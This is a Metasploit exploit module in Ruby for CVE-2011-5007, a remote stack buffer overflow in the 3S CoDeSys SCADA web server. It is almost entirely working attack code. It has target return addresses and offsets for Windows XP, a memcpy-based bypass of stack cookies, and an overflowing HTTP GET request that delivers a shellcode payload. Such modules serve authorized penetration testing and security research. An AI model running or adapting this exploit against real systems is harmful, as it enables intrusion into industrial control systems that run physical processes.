##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow',
      'Description'     => %q{
        This module exploits a remote stack buffer overflow vulnerability in
        3S-Smart Software Solutions product CoDeSys Scada Web Server Version
        1.1.9.9. This vulnerability affects versions 3.4 SP4 Patch 2 and
        earlier.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Luigi Auriemma', # Original discovery and poc
          'Celil UNUVER',
          'TecR0c <roccogiovannicalvi[at]gmail.com>', # Module Metasploit
          'sinn3r',
          'Michael Coppola'
        ],
      'References'      =>
        [
          [ 'CVE', '2011-5007'],
          [ 'OSVDB', '77387'],
          [ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
          [ 'EDB', '18187' ],
          [ 'URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-336-01A' ],
          # The following clearifies why two people are credited for the discovery
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-12-006-01']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => false
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'size'     => 650,
          'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e\x25\x3a\x5c",
        },

      'Targets'         =>
        [
          [
            'CoDeSys v2.3 on Windows XP SP3',
            {
              'Ret'    => 0x7E4456F7, # jmp esp user32
              'Offset' => 775
            }
          ],
          [
            'CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3',
            {
              # Abuse a memcpy() call to circumvent stack cookies
              'Offset' => 525,
              'Ret'    => 0x02CDFD68,
              'Src'    => 0x02CDFD58,
              'Dest'   => 0x02CDFA14
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-12-02'
    ))

    register_options([Opt::RPORT(8080)])
  end

  def check
    connect
    sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
    res = sock.get_once
    disconnect

    # Can't flag the web server as vulnerable, because it doesn't
    # give us a version
    vprint_line(res.to_s)
    if res.to_s =~ /3S_WebServer/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect

    if target.name =~ /v2\.3/
      buffer =  rand_text(target['Offset'])
      buffer << [target.ret].pack('V')
      buffer << make_nops(8)
      buffer << payload.encoded

    else
      # CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3
      buffer =  rand_text_alphanumeric(target['Offset'])
      buffer << [target.ret].pack('V')
      buffer << [target['Src']].pack('V')
      buffer << [target['Dest']].pack('V')
      buffer << [0x7FFFFFFF].pack('V') # Satisfy signed comparison
      buffer << make_nops(8)
      buffer << payload.encoded
      buffer << "\\a"
    end

    sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"

    print_status("Trying target #{target.name}...")
    sock.put(sploit)
    res = sock.get_once(-1, 5)
    print_line(res) unless res.nil?

    handler
    disconnect
  end
end

=begin
target.ret verified on:
- Win XP SP3 unpatched
- Win XP SP3 fully-patched
- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
=end
